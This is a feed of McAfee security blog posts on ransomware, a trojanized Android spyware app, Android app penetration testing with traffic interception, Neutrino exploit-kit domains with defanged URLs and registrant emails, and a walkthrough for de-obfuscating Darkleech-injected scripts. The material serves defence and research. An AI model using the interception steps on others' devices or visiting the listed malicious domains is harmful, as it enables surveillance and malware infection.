The use of encryption to lock selected user files is now the most common approach. Attackers either compromise the system via exploitation or simply by persuading the user via social engineering into launching malicious software. Either way, the malware seeks specific file types and encrypts them with a public key. The malware notifies the victims that many files are encrypted and they must pay to receive the associated private key to unlock them. Users are directed to send cryptocurrency to anonymous accounts. This practice has proven very successful because the encryption strength is exceptionally strong and the targeted files are meaningful to the victims.

The third type of ransomware also leverages encryption, but targets operating system files, effectively holding the entire boot sequence hostage. The malware encrypts the master boot record, and deletes Windows shadow copies and other system-recovery capabilities.

Ransomware is a relatively new method of attack that can rarely be stopped by traditional security controls. Attack methods include phishing, maliciously configured websites and online ads, Trojans embedded in downloads, compromised devices, and poisoned email attachments. Ransomware represents a shift in tactics from traditional data breach exfiltration and website-distributed denial-of-service attacks. Ransomware undermines the integrity of specific files and systems, placing them under control of the adversary, rather than jeopardize the confidentiality or general availability of an environment. This change in tactic is troublesome for the current generation of security tools and practices, which are struggling to adapt to the new threat.

Industry forecast
Ransomware has risen dramatically during the past couple of years.  The McAfee Labs Threats Report March 2016from McAfee, counts more than six million unique samples of ransomware in the wild. Industry experts believe ransomware will remain a major and rapidly growing threat in 2016 and beyond. The financially motivated actors relish their great triumphs with this approach and the significant sums of money being made. Research by the Cyber Threat Alliance showed one variant in 2015, CryptoWall 3, caused an estimated US$325 million in losses. This success fuels technical advancements, attracting more attackers, strengthening support infrastructures, and enhancing targeting techniques.

Cybercriminals, large and small, have fully embraced ransomware. Attackers canvas broad audiences with indirect campaigns, indiscriminately seeking easy targets. Floods of phishing emails, malicious ads that lead to infected sites, and Trojans embedded in applications infect the unsuspecting. A wide range of common file types are encrypted and a relatively low ransom is set to make the option of paying more attractive. Separately, some threat agents apply direct targeting techniques that single out specific victims. They may create customized and elaborate phishing campaigns, waterhole attacks, or directly exploit system vulnerabilities to compromise individual hosts. Attackers can target victims through the use of exploit kits—such as Angler, Magnitude, and Nuclear—to deliver ransomware payloads like CryptXXX and Locky. Exploit kits allow ransomware to run, target files most valued by that particular victim, and establish a high ransom.

Technically, the encryption algorithms and implementation techniques of ransomware have become stronger. Early variants were easily undermined by security professionals due to poor implementations, but nowadays most ransomware code is at a level that cannot be broken by anticryptographic methods or by identifying weaknesses in key management. Ransomware developers also bundle their code with more features and capabilities. Advanced malware can see whether it is running in a security sandbox, establish secure connections to control infrastructures, use unique public key infrastructure key pairs for each victim, combine multiple infection techniques, establish backdoors for later use, and destroy the system if attempts are made to evict the code. Attackers are creative and will maximize every opportunity. For example, the Petya ransomware was recently updated to include Mischa code. Petya attempts to encrypt the master boot record, but if it fails it reverts to using Mischa as a file-encrypting scheme. Ransomware also mixes with botnets to amplify its reach. The Dridex botnet is well known to spread Locky and Cerber ransomware.

Total Ransomware Q2 2016For the foreseeable future, ransomware will remain a major and rapidly growing threat, fueled by anonymizing networks and payment methods. The business models and infrastructure underpinning ransomware are becoming stronger. Most of these attacks continue to use Bitcoin to anonymously transfer funds from victims to the criminals. Popular anonymous networks, such as TOR, mask the location and owners of the control servers. With so much money at stake, attackers realize they are getting a lot of attention from law enforcement agencies, and they work very hard at remaining in the shadows. Other advances include less-than-scrupulous developers who offer the software and hosting services to upstart criminals seeking to enter the ransomware arena. Ransomware-as-a-Service is now a real business opportunity. Anyone can purchase or rent such a service; the infrastructure host will handle all the back-end procedures in return for a slice of the profits. This partnership allows for specialization and the recruitment of less technical fraudsters to join in the activities.

At its core, ransomware is about extorting money. Although targeting consumers who blunder into their traps will continue, the most sophisticated threats target industries that must maintain access to crucial data and are willing to pay large sums. So far in 2016, the healthcare sector is one of several that has been aggressively targeted. Medical facilities need access to systems, care devices, and patient records. Several hospitals have been specifically targeted by ransomware, causing disruption to services. Transportation, financial, and legal sectors are other fields that share a similar profile and are now targets. New technology will also be victimized. As consumers and businesses rely on new devices and services, that reliance creates an opportunity for this type of extortion. Imagine getting into your smart car to drive home and seeing a ransomware screen. With vehicle operations blocked, you are now effectively stranded. How many people would pay a small “fee” to get their car started?

Advice for fighting ransomware
Ransomware is very challenging to combat. No one solution or practice can solve the problem. The ransomware development community is very agile in countering defenses introduced by security vendors. They will look for easy victims, targets with value, and work to exploit new technologies to keep the money flowing in their direction.

The best defense is to stop ransomware before it arrives on a system, or block an attacker’s attempts to gain access. The next best opportunity is to detect the malware and rapidly evict it before it can cause damage. Malware must be downloaded before it can launch, which provides a narrow window of opportunity to contain the threat if it can be detected in time. Rapid detection, however, is difficult because adaptive attackers are very successful at creating problems for security.

Once ransomware starts, the situation quickly gets grim. Most ransomware infections encrypt files in a way not recoverable without the private key, held by the extortionist. Even if victims pay the ransom, there is no guarantee they will get their files back, as they are dealing with untrustworthy parties.

Healthcare Under FireRecovery from ransomware is painful, expensive, and time consuming. If backups are available, then the best option is to remove the infected media and start fresh. Reusing infected drives is not recommended for any severe malware infection because it is nearly impossible to know if everything is safe. It is better for everyone, especially businesses, to start with a new drive, a fresh operating system, and restored uninfected data files. For consumers, this fresh start may not be reasonable due to cost or technical challenges, leaving them with cleaning and reusing the infected drive.

Many choose to move on without the encrypted files. They may not be that important, can be recreated, or the victims choose to suffer and learn from the experience. Paying the ransom is not recommended. Cooperating with extortionists is no guarantee of decrypted files. What is certain, however, is that victims who pay will be recognized as willing to pay, making them a preferred target in the future.

 Building Better Ransomware
Best practices to protect against ransomware
The following recommendations provide a good measure of protection against ransomware. However, as the threats constantly evolve, so must the defenses we present.

Ransomware Protections6

Ransomware attacks are a highly visible problem and a growing global threat to businesses, governments, and consumers. Security and technology vendors are working to undermine this new tactic by cybercriminals, but progress is difficult. Businesses and consumers should proactively take steps to minimize the risks and impacts. Those who don’t are likely to feel the sting of future ransomware attacks. 

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Taking Steps to Fight Back Against Ransomware appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/taking-steps-to-fight-back-against-ransomware/feed/ 0
Trojanized Propaganda App Uses Twitter to Infect, Spy on Terrorist Sympathizers https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/trojanized-propaganda-app-uses-twitter-to-infect-spy-on-terrorist-sympathizers/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/trojanized-propaganda-app-uses-twitter-to-infect-spy-on-terrorist-sympathizers/#respond Tue, 26 Jul 2016 23:44:31 +0000 https://blogs.mcafee.com/?p=50291 The Mobile Malware Research Team of McAfee has discovered in recent weeks a number of new threats in the Middle East. In May, we uncovered a spying campaign targeting cybersecurity professionals in Saudi Arabia. This week, the team exposed a strain of spyware targeting another specific group of mobile users: individuals with possible sympathies toward terrorist […]

The post Trojanized Propaganda App Uses Twitter to Infect, Spy on Terrorist Sympathizers appeared first on McAfee Blogs.

]]>
The Mobile Malware Research Team of McAfee has discovered in recent weeks a number of new threats in the Middle East. In May, we uncovered a spying campaign targeting cybersecurity professionals in Saudi Arabia. This week, the team exposed a strain of spyware targeting another specific group of mobile users: individuals with possible sympathies toward terrorist organizations.

The actors behind this spyware use mainstream social media and public web services to distribute their malicious code to these audiences. Several Twitter accounts have been posting a direct link guiding users to download a malicious Android application masquerading as the legitimate radio player Al Rayan Radio. Users are promised and provided radicalized propaganda, but are secretly made susceptible to cyber surveillance through their mobile devices.

McAfee Labs has observed such attempted smartphone infections targeting users in the Middle East, Europe, and even North America, illustrating the broad following of such groups across continents.

The spyware used by this new campaign is a well-known commercial Android remote access tool detected by McAfee Mobile Security as Android/SandroRAT.C!Gen.

In this incarnation of the threat, a URL-shortening service obscures the tweeted link, hiding both the source of the file users are downloading as well as the fact that they are downloading a suspicious APK file.

 

Twitter Account Farouk_113
Users @farouk_112 and @farouk_113 have been deactivated by Twitter.

Once the app is installed, the bogus radio player appears as the following icon:

icon-spyware

The radio player performs its function without any characteristics that might arouse suspicion from users. However, once installed, the malicious services always run in the background, even if the user ceases to open and operate the app on a regular basis.

main-spyware

As it operates undetected, the spyware allows the attacker to intercept the victims smartphone communications, and spy on them through the camera and microphone. The attacker may also access user location, network connectivity information, read/write call history, read/write SMS, and even access SD memory to download or upload files in it.

If the device is rooted, Android/SandroRat.C!Gen can implement functions to leak encrypted WhatsApp data and even bypass Android sandboxing using privileged commands.

SandroRat-Whatsapp

After examining the source of the malicious files, we found that the server used to store the malicious APK files were abusing the Weebly service with the accounts dawlatislambaqiya and goldenislamicstate, both of which have been suspended.

 

Script kiddies attacks

As in past mobile threat campaigns related to extremists in the Middle East, a common tactic used by malware authors is to rely on off-the-shelf packages or remote access tools to  “weaponize” legitimate apps. The key for the authors is to find the right application and lure victims by social engineering.

DroidJack-appbuild

At present, it is unclear who is behind the development and distribution of this spyware.

The actor could be associated with the terrorist group, perhaps intending to gather information on social media followers with the intention of monitoring, qualifying, and attempting to recruit them into their ranks.

The actor could be associated with an unknown government’s law enforcement or intelligence agencies. Such an entity might wish to monitor potential recruits subject to radicalization, but the use of a common, off-the-shelf spyware component for cyber surveillance probably suggests a less sophisticated state actor.

A third possibility is that the actor could be a rival extremist or vigilante group intending to gather intelligence on the terrorist group’s followers and potential recruits.

What we can conclude

In any case, the off-the-shelf nature of this new threat, using known components available on the Dark Web to anyone with a credit card, illustrates how easy it is for an individual or group, perhaps without strong programing skills, to craft and launch a spyware attack on a specific group of targets.

We can also confirm that such Trojanization efforts are very common. In 2013, the McAfee Mobile Security research team analyzed a Trojanized app that pretended to support online followers and supporters of a petition campaign advocating a woman’s right to drive an automobile. We can assume that any number of controversial movements (in their social and cultural context) might drive the development of similar bogus apps to follow communities deemed to be subversive.

Finally, the task of identifying these kinds of threats could remain very difficult for legitimate hosting and social media services, and such a threat could prove very successful if targeted users fail to install and update proper security protection in their devices. Such factors will always allow a high probability of success for attacks and campaigns, and a relatively fast lifecycle―from conception, to development, to execution, to end of life.

Please see the McAfee whitepaper Cybercrime Exposed: Cybercrime-as-a-Service for an analysis by McAfee Labs of the Dark Web marketplace for buyers and sellers of hacking skills for hire.

The post Trojanized Propaganda App Uses Twitter to Infect, Spy on Terrorist Sympathizers appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/trojanized-propaganda-app-uses-twitter-to-infect-spy-on-terrorist-sympathizers/feed/ 0
How to: Testing Android Application Security, Part 2 https://securingtomorrow.mcafee.com/business/testing-android-application-security-part-2/ https://securingtomorrow.mcafee.com/business/testing-android-application-security-part-2/#respond Thu, 23 Jun 2016 19:19:19 +0000 https://blogs.mcafee.com/?p=50846 This blog was written by Kunal Garg. The popularity of Android devices and applications makes it a target for malware and other threats. This post is the second in a short series on Android application security. In the first article we discussed the basic android environment setup and penetration testing. In this post we will […]

The post How to: Testing Android Application Security, Part 2 appeared first on McAfee Blogs.

]]>
This blog was written by Kunal Garg.

The popularity of Android devices and applications makes it a target for malware and other threats. This post is the second in a short series on Android application security.

In the first article we discussed the basic android environment setup and penetration testing. In this post we will focus on some other tools and proxy techniques—Drozer, Apktool, and a “man in the middle” proxy—that will come in handy during a security review of Android applications.

 

Drozer

Drozer allows you to interact with other applications installed on a device or emulator. It also helps in identifying the attack surface, exploiting activities, content providers, and broadcast receivers. Download the Drozer server and agent component from this site.

  • Install drozer.apk on the emulator using the following command:
    • adb install C:/mypath/drozer.apk

  • Run the .exe file and install the server component on the laptop.
  • Start the Drozer APK in the emulator and tap the embedded server tab to switch it on.
  • Run the following command from the command prompt to initiate the port transfer. (31415 is the default port used by Drozer.)
    • adb forward tcp:31415 tcp:31415

  • Open another terminal window, and connect the Drozer agent to the server with the following command:
    • C:/Drozer> Drozer console connect

After a successful connection, the Drozer prompt (dz>) will appear, as shown in the following screen capture.

20160623 Garg 1 

Apktool

Apktool is useful when you have to modify the source code in an APK file to test issues such as SSL pinning bypass, application logic bypass, tamper checks, etc. Apktool can be downloaded and installed by following the instructions found here.

To test the security of an application, we need to install the APK file. Once the emulator is switched on, we can push the APK file using the following command:

adb install c:\yourapppath\appname.apk

20160623 Garg 2

The APK successfully installed.

 

MITM proxy with a device and Wi-Fi

In our previous post we discussed setting up a proxy (such as Burp) using an emulator. In this post we will look at how to capture the traffic using an Android device and Wi-Fi.

  • Import the proxy tool’s certificate into the phone and install it, using Settings–>Wi-Fi–>Advanced–>Install certificates.

20160623 Garg 3

 

  • Connect the Android device and the laptop to the same Wi-Fi network.
  • Once the network is connected, go to Settings–>Wi-Fi and press and hold the network name.
  • When the new menu appears, select Modify Network Config, then go to Advanced Settings and change the Proxy Settings to Manual.
  • Enter the port number and IP address (of the laptop) in Proxy Hostname Field and Proxy Port, respectively.

20160623 Garg 4

HTTP proxy options.

  • Configure the Proxy to listen on all interfaces, and on the same port as defined in the prior step. The proxy should now be able to capture the SSL traffic, unless there is SSL pinning or other restrictions, which we will discuss in future posts.

20160623 Garg 5

Captured HTTPS request originating from the Android device and intercepted in Burp.

The post How to: Testing Android Application Security, Part 2 appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/testing-android-application-security-part-2/feed/ 0
‘Thrones’ Jon Snow Appears to Employ Neutrino Exploit Kit https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/thrones-jon-snow-appears-to-employ-neutrino-exploit-kit/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/thrones-jon-snow-appears-to-employ-neutrino-exploit-kit/#respond Fri, 10 Jun 2016 23:04:28 +0000 https://blogs.mcafee.com/?p=50416 This blog post was written by Kalpesh Mantri. You read that right. Jon Snow appears to be back from the dead. That would make “Game of Thrones” fans happy, but unfortunately this Jon Snow is not the same character. This John (with an h) Snow is related to Neutrino exploit kits, one of the commonly used […]

The post ‘Thrones’ Jon Snow Appears to Employ Neutrino Exploit Kit appeared first on McAfee Blogs.

]]>
This blog post was written by Kalpesh Mantri.

You read that right. Jon Snow appears to be back from the dead. That would make “Game of Thrones” fans happy, but unfortunately this Jon Snow is not the same character. This John (with an h) Snow is related to Neutrino exploit kits, one of the commonly used kits used for malware distribution.

Neutrino was first identified in 2013, just months after the kits Angler and Magnitude. Today Neutrino is the second most used kit and is growing very fast. Neutrino usually employs Java exploits to start its attacks. Last month, however, Neutrino was seen using Flash exploits based on CVE-2016-4117.

Recently, the CryptXXX ransomware switched its distribution from the Angler to Neutrino for the first time. Both the pseudo-Darkleech and the EITest ransomware campaigns use Neutrino to deliver CryptXXX, suggesting that Neutrino will grow rapidly in coming months.

Recently, McAfee Labs has found many Neutrino-redirecting URLs using .top domain extensions.

  • hxxp://eilong.top
  • hxxp://eaautomatic.top
  • hxxp://d2ahave.top

We checked domain information for a few of those sites. By comparing that data, we found that all of the domains were registered by a threat actor using the (likely fake) name John Snow.

kkm_b2_whois_jonSnow

“Jon Snow” is quite popular these days due to the appeal of “Game of Thrones.” Perhaps this threat actor is also a fan of the show. This actor used the email address ivkolyvan@gmail.com to register these domains through Alpnames Limited.

kkm_b2_neutrino_cnt

We found more than 700 domains with .top extensions registered by this actor, and most are used as Neutrino URLs. In the past month, this threat actor has registered more than 10 Neutrino domains daily.

As fans of “Game of Thrones,” we looked for other character names from the show. Guess whom we found?

One threat actor registered many .top domains using the name Tyrion Lannister with the email c0rleone@bk.ru. We could not determine the purpose or kits used with these domains.

kkm_b2_whois_tyrion

 

Apart from these “Thrones” characters, we found a few more threat actors. One, Mayko Evgeniy, used the address maykoe@list.ru to register more than 3,800 .top domains.

kkm_b2_angler_cnt

This threat actor set up most domains as Angler kit URLs. This email address also registered more than 20 domains per day for the use of kits.

We gathered a few more mail IDs used for domain name registration. The following were used for malware distribution:

kkm_b2_mails

 

Based on exploit kit tracking information from the Advanced Threat Research team of McAfee, the following are the most dominant exploit kits in the last 90 days:
kkm_b2_Ek_Details

 

Security Tip

Many exploit kits are using domains with .top and .tk extensions.

  • hxxp://biolexa.tk
  • hxxp://x79.tx7pck9cx.top

Organizations and individuals can block all access to every domain with a .top or .tk extension by configuring emails and firewalls. Check here for a complete list of malicious domains found by McAfee.

The post ‘Thrones’ Jon Snow Appears to Employ Neutrino Exploit Kit appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/thrones-jon-snow-appears-to-employ-neutrino-exploit-kit/feed/ 0
Seeing Through Darkleech Obfuscation: a Quick Hack to Iframes https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/seeing-darkleech-obfuscation-quick-hack-iframes/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/seeing-darkleech-obfuscation-quick-hack-iframes/#respond Fri, 27 May 2016 17:56:31 +0000 https://blogs.mcafee.com/?p=49898 This blog post was written by Kalpesh Mantri. Darkleech is an Apache module on the dark web that distributes malware. This tool, which appeared in 2012, was first used to infect many Apache servers and later sites running Microsoft IIS. The campaign infecting IIS sites was named pseudo-Darkleech because it resembles the Apache infector module. (In this […]

The post Seeing Through Darkleech Obfuscation: a Quick Hack to Iframes appeared first on McAfee Blogs.

]]>
This blog post was written by Kalpesh Mantri.

Darkleech is an Apache module on the dark web that distributes malware. This tool, which appeared in 2012, was first used to infect many Apache servers and later sites running Microsoft IIS. The campaign infecting IIS sites was named pseudo-Darkleech because it resembles the Apache infector module. (In this post, we will use the term Darkleech to refer to both Apache and IIS campaigns.)

In early 2012, Darkleech scripts redirected users and led them to Blackhole exploit kit pages. After the Blackhole kit disappeared in October 2013, Darkleech moved to Fiesta exploit kits. From mid-2015 to today, Darkleech scripts switched occasionally between Neutrino and Angler exploit kits to deliver ransomware. Darkleech mostly redirects to Angler landing pages. (A detailed history of Darkleech can be found here.)

 

Finding Darkleech 

Since late 2015, Darkleech scripts have evolved drastically. They are now highly obfuscated, and we can’t easily determine the URLs they redirect to.

In this post we offer a quick hack for security researchers to find iframes and redirecting URLs from these heavily obfuscated scripts, which are injected into web pages. We will focus only on finding the iframe and URL; we will not discuss the functionality of the scripts or how they work. This hack does not require any special security tools. Using only Notepad and a browser (Firefox in this case), we can see the final iframe and its redirecting URL. This technique makes use of the browser’s “alert box” (message box) feature.

Warning: Do not directly run these scripts on a machine. Use VirtualBox or another virtual machine instead. Also, take caution while making use of the URLs in these scripts. They are usually exploit kit landing pages, which if active exploit vulnerabilities in users’ systems and download malware (mostly ransomware) to infect your system.

 

Find the sample

For our demonstration, we will use a Darkleech sample we found on VirusTotal that has a low detection rate.

SHA-256: 7ea431ca9980d5f1d92fc105cd89bc897774bbe970db5a8a32dcd6e73ef400ae

b1_1

This sample has a block of data between <span> tags. The data in this block is highly useful for decoding the final iframe. This data block is decoded using a script that is present just below the <span> block. This heavily obfuscated script lies within the <script> block of the HTML page:

b1_2

 

Follow these steps

Near the end of the script, you will find a function call with the following format:

  • Function_name(variable_name)();

In the script, the function appears like this:

b1_3

The variable_name is always a variable used to concatenate the entire script.

 

First step

Replace the function_name (in this case, fileUploadSetTimeout) with “alert” and remove the function call (the parentheses).

b1_4

After saving the file and opening this page in a browser, you will see the concatenated script string from this obfuscated code. The script will be displayed in a pop-up alert box.

b1_5

Copy and clean up the script:

b1_6

 

Second step

Append this discovered script to the current HTML sample page just below the first step. These scripts are designed to run only on Internet Explorer. So after appending the script, we need to tweak the script to make it run smoothly on Firefox (and other browsers). Change the script thus:

Modify the original statement at line 12 by changing the value of variable “i” to zero.

Original statement:        i = (+[window.sidebar]) + (+[window.chrome]);

Modified statement:      i = 0;

Also, remove the function call “()” and “[]” and modify the function call statement:

Original statement:        [][c][c](String.fromCharCode.apply(null, a))();

Modified statement:      temp = [c][c](String.fromCharCode.apply(null, a));

   alert(temp);

b1_7

Save this modified script into same sample. Running the sample again now gives us two alert pop-ups. The second pop-up outputs the concatenated script, which is itself a new deobfuscated script.

b1_8

Copy this script and clean it:

b1_9

 

Third step

Similar to the second step, append this script to the sample just after the second step script. Again, we tweak the script, four times, to make it run in Firefox or other browsers.

Modify the original statement at line 20 by replacing the value of variable “ArrayTry” to zero.

Original statement:        ArrayTry = (+[window.sidebar]) + (+[window.chrome]);

Modified statement:      ArrayTry = 0;

Change the if statement on line 23 to make the condition true:

Original statement:        if (navigator.userAgent.indexOf(pkcs11Typeof[throwImage]) > ArrayTry) {

Modified statement:      if (true) {

Also change the if statement on line 28 to skip the condition:

Original statement:        if (navigator.userAgent.indexOf(“MSIE 10”) > ArrayTry) {

Modified statement:      if (false) {

Finally, remove the function call “()” and “[]” and modify the function call statement:

Original statement:        [][“constructor”][“constructor”](setIntervalInfinity)();

Modified statement:      tempA = [“constructor”][“constructor”](setIntervalInfinity);

   alert(tempA);

b1_10

Save this modified script into the same sample. Running the sample again now gives us three alert pop-ups. The first two are the same as before. The third pop-up contains the final malicious iframe and URL that redirects the user.

b1_11

Copy and clean up the script:

b1_12

We can now easily see the document.write function call with iframe and URL.

 

Conclusion

With this simple three-step hack, anyone can easily analyze any Darkleech-injected obfuscated scripts to find the redirecting URLs. With the URLs, we can see which exploit kit landing page the script redirects to. Usually, these URLs are active for only a very short time.

The post Seeing Through Darkleech Obfuscation: a Quick Hack to Iframes appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/seeing-darkleech-obfuscation-quick-hack-iframes/feed/ 0
Which Cybersecurity Data Should You Trust? https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/which-cybersecurity-data-should-you-trust/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/which-cybersecurity-data-should-you-trust/#respond Tue, 24 May 2016 18:20:54 +0000 https://blogs.mcafee.com/?p=49841   Limitations of security data We are constantly battered by cybersecurity data, reports, and marketing collateral—and we shouldn’t treat all of this information equally. Security data has inherent limitations and biases, which result in varying value and relevance in how it should be applied. It is important to understand which data is significant and how best to […]

The post Which Cybersecurity Data Should You Trust? appeared first on McAfee Blogs.

]]>
Vault2

 

Limitations of security data
We are constantly battered by cybersecurity data, reports, and marketing collateral—and we shouldn’t treat all of this information equally. Security data has inherent limitations and biases, which result in varying value and relevance in how it should be applied. It is important to understand which data is significant and how best to allow it to influence your decisions.

A tsunami of security metrics, reports, analyses, blogs, papers, and articles vie for our attention. Sources range from reporters, researchers, professional security teams, consultants, dedicated marketing groups, and even security-operations people who are adding data, figures, and opinions to the cauldron. We are flooded with data and opinions.

It was not always this way. More than a decade ago, we lived in an information desert, where even speculations were rare. Making decisions driven by data has always been a good practice. Years ago, many advocates were working hard to convince the industry to share information. Even a drop is better than none. Most groups that were capturing metrics were too frightened or embarrassed to share. Data was kept secret by everyone while decision makers were clamoring for security insights based upon industry numbers, which simply were not available.

 

The impact of data secrecy
In the past, fear, uncertainty, and doubt ruled. People expected the worst and unscrupulous security marketing advocates took advantage, fanning the flames to sell products and snake oil. Those were dark times, promulgated with outlandish claims of easily eradicating cyber threats with their software or appliance products. The market was riddled with magic boxes, silver-bullet software, and turnkey solutions to easily fix all security woes. I can remember countless salespeople asserting “we solve security” (at which point I stopped listening or kicked them out). The concept of flipping a switch to make all the complex problems of computing security forever go away was what uninformed organizations wanted to hear, but that was simply unrealistic. Why customers chose to believe such nonsense (when the problem and the effectiveness of potential solutions could not be quantified) is beyond me, but many did. Trust in the security solutions industry was lost for a time.

Slowly, a trickle of informative sources began to produce reports and publish data. Such initiatives gained momentum, with others joining to share in limited amounts. This was the turning point. Armed with data and critical thinking, clarity and common sense began to take root. The transition was not perfect or quick, but the introduction of data from credible sources empowered security organizations to better understand the challenge and effectively maneuver against threats.

As the size of the market and competition grew, additional viewpoints joined the fray. Today, we are bombarded by all manner of cybersecurity information. Some are credible, while others are not. There are several types of data being presented, ranging from speculations to hard research. Being well informed is extremely valuable to decision makers. Now, the problem is figuring out how to filter and organize the data so that we are not misled.

As part of my role as a cybersecurity strategist, I both publish information to the community and consume vast amounts of industry data. To manage the burden and avoid the risks of believing less-than-trustworthy information, I have created a quick guide to help structure the process. It is burned into my mind as a set of filters and rules, and I have committed it to paper/screen to share.

I categorize data into four buckets. These are speculation, survey, actuarial, and research. Each has its pros and cons. The key to managing security data overload is to understand the limitations of each category, its respective value and its recommended usage.

Cybersecurity Data-Table

For example, survey data is the most unreliable, but does have value in helping us understand the fears and perceptions of the respondent community. Research data is normally very accurate but notoriously narrow in scope and may be late to the game. One of my favorites is actuarial data. I am a pragmatic guy.  I want to know what is actually happening so I can make my own conclusions. But there are limitations to actuarial data as well. It tends to be very limited in size and scope, so you can’t look too far into it. It is a reflection of the past, which may not align to the future.

I hear lots of complaints and criticisms regarding the validity, scope, intent, and usage of data. I have my favorites and those that I refuse to even read. Security data is notoriously difficult. There are so many limitations and biases, it is far easier to point out problems than to see the diamonds in the rough. But data can be valuable if filtered, corrected for bias, and the limitations are known. Don’t go in blind. Apply common sense. Follow a consistent method and structure to avoid pitfalls and maximize the data available to help you manage and maintain an optimal level of security.

The following are a few examples, in my opinion, of credible cybersecurity data across the spectrum of categories. Keep in mind the limitations of each group and don’t make the mistake of using the information improperly! Look to speculation for the best opinions, survey for the pulse of industry perceptions, actuarial for real events, and research for deep analysis:

 

Speculation

  • 2016 Cybersecurity Threat Predictions from McAfee Labs.
  • $243 billion–$1 trillion: The potential cost of a single attack against the US power grid, per Lloyds Insurance.
  • ~$3 trillion: The aggregate economic impact of cybersecurity on technology trends through 2020, from the World Economic Forum 2014 report “Risk and Responsibility in a Hyperconnected World.”
  • $90 trillion: The cyber impact for one (worst case) scenario affecting the global benefits of information and communications technologies by 2030, from the Atlantic Council’s report estimate.
  • 55% compound annual growth rate: The growth of the global Internet of Things security market for the period 2016–2020, from ResearchandMarkets.com.
  • My 2016 Cybersecurity Predictions: Most of my blogs are in the speculation category.

Survey

  • Threat Intelligence Sharing survey: McAfee Labs Threats Report March 2016.
  • 20% jump in cybercrime in the United Kingdom since 2014, with nearly two-thirds of businesses expressing no confidence in the ability of law enforcement to deal with it, from PwC.
  • 25% Americans believe they have experienced a data breach or cyber attack, from a Travelers survey.
  • 43% of organizations surveyed indicated increases in cybersecurity will drive the most technology spending, from the 2016 ESG IT spending intentions research report.
  • 61% of CEOs believe cyber threats pose a danger to corporate growth, from a PwC survey.

Actuarial

  • 3 out of 5 Californians were victims of data breaches in 2015, according to the state attorney general, from the 2016 California Data Breach Report.
  • ~35% of the US population: Top 10 health care breaches of 2015 affected about one-third of the US population, from the Department of Health and Human Services Office for Civil Rights.
  • Data Breach Investigations Report, from Verizon.
  • 2016 Annual Security Report, from Cisco.
  • 42 million new unique pieces of malware discovered in Q4 2015, bringing the total known samples to almost 500 million, from the McAfee Labs Threats Report of March 2016.
  • Security Intelligence Report, from the biannual report by Microsoft.

Research

  • $325 million: Losses attributed to CryptoWall v3 ransomware, from analysis by the Cyber Threat Alliance.
  • $13.1 billion: US government spending on cybersecurity in 2015, from FISMA report from the OMB.
  • “Carbanak”: Advanced attack analysis from Kaspersky Lab.

By the way, this very blog should be considered speculation. Treat it as such.

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Which Cybersecurity Data Should You Trust? appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/which-cybersecurity-data-should-you-trust/feed/ 0
How to: Testing Android Application Security, Part 1 https://securingtomorrow.mcafee.com/business/testing-android-application-security-part-1/ https://securingtomorrow.mcafee.com/business/testing-android-application-security-part-1/#respond Tue, 24 May 2016 00:08:47 +0000 https://blogs.mcafee.com/?p=49862 This blog was written by Kunal Garg. The popularity of Android devices and applications makes it a target for malware and other threats. This post is the first in a short series on Android application security. Similar to its use for web applications, penetration (“pen”) testing is a part of developing mobile applications. We will […]

The post How to: Testing Android Application Security, Part 1 appeared first on McAfee Blogs.

]]>
This blog was written by Kunal Garg.

The popularity of Android devices and applications makes it a target for malware and other threats. This post is the first in a short series on Android application security.

Similar to its use for web applications, penetration (“pen”) testing is a part of developing mobile applications. We will discuss in detail the process for performing security testing on Android applications.

Setting up the pen-testing environment

Android Studio is the official integrated development environment for Android. Here are the steps for setting up Android Studio.

  1. Download and install the latest Java Development Kit.
  2. Set the JAVA_HOME variable with the path pointing to the Java Development Kit.
  3. Download and install Android Studio.
  4. Once it is installed, create an Android virtual device (emulator).
  5. Browse to “Tools–>Android–>Avd Manager–>Create Virtual Device” and create a new virtual device as shown in the following screens.

20160523 Android App Security 1

Android virtual device settings.

20160523 Android App Security 2

Further Android virtual device settings.

Customize parameters such as RAM, AVD Name, Android Version, and Internal Storage to suit your requirements. (We used device types Nexus 5 and Android Version Lollipop.)

 

Capturing traffic

Capturing traffic from emulator requires the proxy tool to act as a “man in the middle.” Follow these steps.

  1. Export the certificate from your proxy tool, and save it as proxy.cer.
  2. Push the certificate onto the emulator using the command

adb push proxy.cer /sdcard/

  1. Browse to SettingsàSecurityàInstall from the SD card, and install the certificate on the emulator.
  2. The Android virtual device will force the user to set the PIN on the device. Set the PIN.
  3. In the proxy tool, set the proxy listener to listen on local interface (127.0.0.1) and on any port (for example, 8082).
  4. Start the emulator using the command

emulator -avd test -no-audio -http-proxy http://127.0.0.1:8082

  1. Note that the traffic will pass via the proxy tool (Burp), as shown in the following screen:

20160523 Android App Security 3

Traffic captured in the proxy tool.

Common workarounds

  • An emulator crash during boot is a known issue. To mitigate, use the toggle “-no audio.”
  • In case the traffic is not routing via proxy, use local host rather than the loopback IP address (127.0.0.1).

emulator -avd avdname -no-audio -http-proxy http://localhost:Portno

  • Often the virtual device loads momentarily and then crashes. In this case go to “Tools–>Avd Manager–>Select Device–>View Details” and traverse to the emulator-user.ini file. In this file modify the parameters as “x =0” and “window.y =0.”

 

The post How to: Testing Android Application Security, Part 1 appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/testing-android-application-security-part-1/feed/ 0
